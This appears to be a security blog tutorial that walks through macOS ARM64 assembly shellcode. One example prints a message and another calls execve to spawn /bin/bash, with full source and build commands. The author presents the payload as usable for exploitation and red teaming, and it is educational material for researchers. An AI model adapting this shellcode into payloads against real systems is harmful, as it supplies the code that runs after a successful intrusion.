5 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In this article, I will walk you through an assembly code that writes a simple message and run shell on a macOS system using M1 ARM64 architecture. We will go through the code step by step, explaining each part in simple terms.

practical example

First example is pretty simple: macOS ARM64 shellcode for “Meow\n” to stdout. Start from setting up the write syscall:

mov     x0, #1

The logic is x0 = 1, this register is used for the first syscall argument: the file descriptor. Here, 1 is stdout.

adr     x1,msg

x1 = address of msg. ARM64 doesn’t use lea like x86_64, but adr works: it puts the address of the msg string into x1 (the second syscall argument).

Then:

mov     x2,#5

This is just: x2 = 5. This is the length of the message (“Meow\n” is 5 bytes).

At the next step, we need a calling the kernel (write syscall). Something like this:

movz    x16, #0x4           ; x16 = 0x00000004
movk    x16, #0x2000, lsl #16 ; x16 = 0x00200004
svc     #0x80               ; make syscall

As you can see, from comments: x16 = syscall number. On macOS ARM64, syscalls use a big number: 0x2000004 for write. movz loads the low 16 bits, then movk fills in the higher bits. svc #0x80 triggers the kernel: perform the syscall.

Then, finally, exit cleanly, like this:

; exit(0)
mov     x0, #0
movz    x16, #0x1
movk    x16, #0x2000, lsl #16
svc     #0x80

x0 = 0 - exit code, then x16 = 0x2000001. That’s the exit syscall. svc #0x80 again: make the syscall.

The data:

; --- data ---
    .align 2
msg:
    .ascii  "Meow\n"

Just the message, raw in the binary.

What is the difference from x86_64 (Intel) shellcode on macOS?

First of all, syscall calling convention! For example, arguments: x0,x1,x2..... Syscall numbers are much bigger on macOS ARM64 (e.g., 0x2000004 for write). Also as I wrote before, x86_64 uses lea to get addresses, but ARM uses adr or adrp/add combo.

In general, for shellcoding on ARM64: You can’t just mov x16, #0x2000004 - it doesn’t fit! What is the solution? We build it with movz and movk.

Shellcoding on ARM64 means learning new tricks and register names - but conceptually, it’s still “put your arguments in order, put your syscall number in the magic register, trap to the kernel, profit.”

So full source code looks like this meow.s:

; macOS ARM64 shellcode: write "Meow\n" to stdout
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html

.global _start

.section __TEXT,__text

_start:
    ; write(1, buf, 5)
    mov     x0, #1              ; fd = 1 (stdout)
    adr     x1, msg             ; buffer pointer
    mov     x2, #5              ; length = 5

    movz    x16, #0x4           ; x16 = 0x00000004
    movk    x16, #0x2000, lsl #16 ; x16 = 0x00200004
    svc     #0x80               ; make syscall

    ; exit(0)
    mov     x0, #0
    movz    x16, #0x1
    movk    x16, #0x2000, lsl #16
    svc     #0x80

    ; --- data ---
    .align 2
msg:
    .ascii  "Meow\n"

demo 1

Let’s go to see first example in action. Compile it:

as -arch arm64 meow.s -o meow.o

malware

Then, try to link:

ld -arch arm64 -macosx_version_min 14.0 -e _start -o meow meow.o

But, we have an error:

malware

So, we need run another command. First of all check this:

xcrun --sdk macosx --show-sdk-path

malware

As you can see, in my case (MacBook Air on M1 with Mac OS X 15), we have /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk

So, update our command for linking:

ld -arch arm64 -e _start -o meow meow.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

malware

As you can see, successfully linked, then run:

./meow

malware

malware

malware

malware

Everything is worked perfectly as expected! =^..^=

practical example 2

Let’s break down macOS ARM64 shellcode for running /bin/bash (works the same for /bin/zsh - we need just change the string).

First of all, we need to prepare the /bin/bash string:

adrp    x1, binzsh@page
add     x1, x1, binzsh@pageoff

adrp and add load the address of the string /bin/bash into x1. On ARM64, you can’t just lea like x86. You need this 2-step trick for PC-relative addressing.

Then, prepare argv array ([ "/bin/bash", NULL ]) like this:

; prepare argv ["/bin/bash", NULL] on the stack
sub     sp, sp, 16
str     x1, [sp]
mov     x2, #0
str     x2, [sp, #8]

sp points to the start of our new stack array, argv[0] is pointer to the path, argv[1] is NULL.

At the next step set up registers for execve, in this case x0 - filename, x1 - argv array and x2 - envp (environment):

mov     x0, x1          ; path
mov     x1, sp          ; argv
mov     x2, xzr         ; envp

Syscall execve:

; syscall execve (0x200003b)
movz    x16, #0x3b
movk    x16, #0x2000, lsl #16
svc     #0x80

Here, x16 = syscall number for execve (0x200003b on macOS/ARM64).

Finally, if execve fails, just exit with code 1:

; fallback exit(1)
mov     x0, #1
movz    x16, #0x1
movk    x16, #0x2000, lsl #16
svc     #0x80

Also add null-terminated string for the shell path in data section.

Full source code for this example looks like this hack.s:

; macOS ARM64 shellcode: run "/bin/bash"
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html

.global _start

.section __TEXT,__text

_start:
    ; prepare string "/bin/bash" on the stack
    adrp    x1, binzsh@page
    add     x1, x1, binzsh@pageoff

    ; prepare argv ["/bin/bash", NULL] on the stack
    sub     sp, sp, 16
    str     x1, [sp]
    mov     x2, #0
    str     x2, [sp, #8]

    mov     x0, x1          ; path
    mov     x1, sp          ; argv
    mov     x2, xzr         ; envp

    ; syscall execve (0x200003b)
    movz    x16, #0x3b
    movk    x16, #0x2000, lsl #16
    svc     #0x80

    ; fallback exit(1)
    mov     x0, #1
    movz    x16, #0x1
    movk    x16, #0x2000, lsl #16
    svc     #0x80

    .align 2
binzsh:
    .asciz "/bin/bash"

demo 2

Let’s go to see in action this second example. Compile it:

as -arch arm64 hack.s -o hack.o

malware

Then link it:

ld -arch arm64 -e _start -o hack hack.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

malware

As you can see, successfully linked, then run:

./hack

malware

malware

malware

As you can see, everything is worked perfectly! Shell spawned! =^..^=

conclusion

The ARM64 assembly shellcode for macOS is a minimalistic and position-independent routine that interacts directly with the kernel via system calls. It places all required arguments in the appropriate registers and encodes syscall numbers using the specific ARM64 idiom with movz and movk instructions, as required by macOS conventions.

For data such as command-line strings or output text, it leverages either the stack or inline data within the binary, carefully managing addresses using relative instructions like adr or adrp/add. The code constructs necessary argument arrays for syscalls like execve manually, respecting calling conventions for argv and envp pointers.

The entire payload is crafted to avoid dependencies on any external libraries or absolute addresses, making it highly portable and practical for use in real-world exploitation or red teaming scenarios.

I hope this post is useful for malware researchers, macOS/Apple security researchers, ASM programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine